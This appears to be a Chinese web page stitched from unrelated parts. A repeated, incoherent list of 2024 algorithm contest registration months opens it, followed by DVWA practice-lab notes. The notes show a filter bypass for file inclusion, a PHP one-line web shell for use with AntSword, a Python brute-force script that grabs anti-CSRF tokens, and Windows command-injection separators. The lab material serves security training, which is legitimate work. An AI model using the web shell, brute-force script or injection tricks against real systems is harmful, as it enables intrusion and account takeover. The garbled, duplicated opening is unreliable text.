2024年算法设计竞赛列表
【算法设计比赛】
2023年9月 报名
1月份 报名
7月份 报名
程序设计挑战赛道 9月份 报名
9月份 报名
程序设计赛道(算法设计) 10月份 报名
好记性不如烂笔头
2023年9月 报名
1月份 报名
7月份 报名
程序设计挑战赛道 9月份 报名
9月份 报名
程序设计赛道(算法设计) 10月份 报名
2023年9月 报名
4月份 报名
4月份 报名
4月份 报名
4月份 报名
网络安全 4月份 报名
区块链 5月份 报名
网络安全 4月份 报名
区块链 4月份 报名
7月份 报名
DVWA部署完成后通过默认账号密码(admin/password)进入欢迎界面(Home页面),欢迎页面对DVWA平台做了简单的介绍,如果需要对DVWA平台有一个更加深入的了解,可以在Instruction >> PDF Guide >> Official Documentation PDF v1.3 中查阅DVWA的相关信息。
下面对《Damn Vulnerable Web Application (DVWA) Official Documentation》的重点内容做一些介绍:
文件包含Medium级别增加字符替换功能,将../、..\、http://、https:// 过滤掉,这种防护可以使用双写绕过。
过滤机制会把请求报文中识别到的../、..\、http://、https:// 全部删掉,双写绕过的思想就是在以上字符被删除后依然可以重新组成上述字符,例如
过滤前 | 过滤后 |
---|---|
....// | ../ |
hthttp://tp:// | http:// |
hhttps://ttps:// | https:// |
待更新……
由于网站对上传的文件限制不严格或未做限制,攻击者可以通过文件上传功能向服务器上传恶意文件,实现攻击的目的。文件上传漏洞的Low级别对文件上传未做限制,攻击者可以上传任何恶意文件。
1.准备一句话木马文件
由于DVWA使用的是php语言开发,所以一句话木马使用的是php语法。
<?php @eval($_POST['attack']);?>
<?php ?> 代表php标签,内部语句为php语言。
@eval() 函数内的语句将按照php语法执行
$_POST[] 以post的方式接受数据
attack 参数名,可以自定义其他名称,作为后面中国蚁剑连接时的密码
DVWA是基于PHP/MySQL 搭建的一套web攻击环境,可以让从专业的安全人员在合法环境下测试网络安全攻击技能和攻击工具,帮助web开发者了解web安全保护的过程,帮助老师和学生在课堂上学习web应用的安全性。
部署环境:Win7(64位) ; PHPStudy V8.1 ;DVWA
通过暴力破解Low级别的源码可知,后台对前端传送的用户名和密码没有做任何检测和处理,最简单的利用方式是通过SQL注入绕过认证,因为SQL注入的内容在后面才会讲到,这里不做演示。同时,Low级别和Medium级别的后台代码没有对用户名、密码输入次数做限制,可以使用暴力破解的方式爆破出用户名和密码,此处以Low级别为例进行演示,漏洞利用过程同时适用于Low级别和Medium级别。
1.通过Burpsuite打开浏览器
通过源码可知High级别增加了Token机制,每次登录都必须向服务器提供最新的Token信息,这样就不能简单的用字典对用户名和密码进行暴力破解,需要在每次提交用户名和密码的时候添加上Token信息。High级别我们使用Python模拟登录,每次尝试新的用户名、密码前先获取Token信息,然后将用户名、密码、Token进行封装后执行登录提交到服务器,根据服务器返回的内容判断是否登录成功。
bruteborce.py脚本如下
import requests
from bs4 import BeautifulSoup
headers = {
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36",
"cookie": "PHPSESSID=vo6bf39fkvdmrjh4f4l3soecdv; security=high"
}
with open("user", 'r', encoding="utf-8") as names:
for username in names:
with open("passwd", 'r', encoding='utf-8') as passwords:
for password in passwords:
url = "http://192.168.146.136/dvwa/vulnerabilities/brute/"
r = requests.get(url, headers=headers)
soup = BeautifulSoup(r.text, "html.parser")
token = soup.find_all("input")[3].get("value")
get_data = {
"user_token": token,
"username": username.strip(),
"password": password.strip(),
"Login": "login"
}
r = requests.get(url, params=get_data, headers=headers)
if 'Username and/or password incorrect.' in r.text:
print(username.strip()+"/"+password.strip()+" :破解失败")
else:
print('=' * 40)
print(username.strip()+"/"+password.strip()+" :破解成功")
print('=' * 40)
命令劫持的原理比较简单,平台在提供命令执行功能时没有对复合语句的连接符、管道符等特殊字符做过滤,攻击者可以利用这些字符构造攻击语句,提交到服务器后可以执行多条命令。
【Windows】
& 前后的语句按先后顺序执行,没有逻辑关系
&& 前面的语句执行成功才能执行后面的语句
|| 前面的语句执行失败才能执行后面的语句